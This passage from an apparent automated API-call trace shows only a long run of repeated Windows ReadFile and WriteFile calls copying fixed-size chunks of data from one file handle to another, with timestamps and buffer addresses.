out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.034] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.035] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.036] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.038] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.038] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.039] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.040] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.040] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.041] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.043] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.043] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.056] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.057] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.058] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.059] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.060] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.061] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.062] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.063] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.063] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.064] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.066] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.066] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.068] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.068] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.069] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.070] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.072] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.072] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.073] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.074] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.074] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.075] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.095] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.095] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.096] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.105] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.109] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.110] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.110] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.111] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.113] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.126] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.127] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.128] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.130] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.130] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.131] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.131] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.132] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.133] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.136] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.136] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.137] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.138] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.138] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.139] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.141] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.141] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.143] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.143] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.144] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.145] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.167] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.168] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.169] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.169] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.170] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.171] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.173] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.173] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.174] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.175] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.176] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.177] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.178] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.179] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.180] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.180] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.181] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.182] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.184] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.184] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.185] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.194] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.197] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.198] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.201] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.201] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.203] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.203] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.204] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.205] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.229] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.230] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0196.231] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0196.233] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 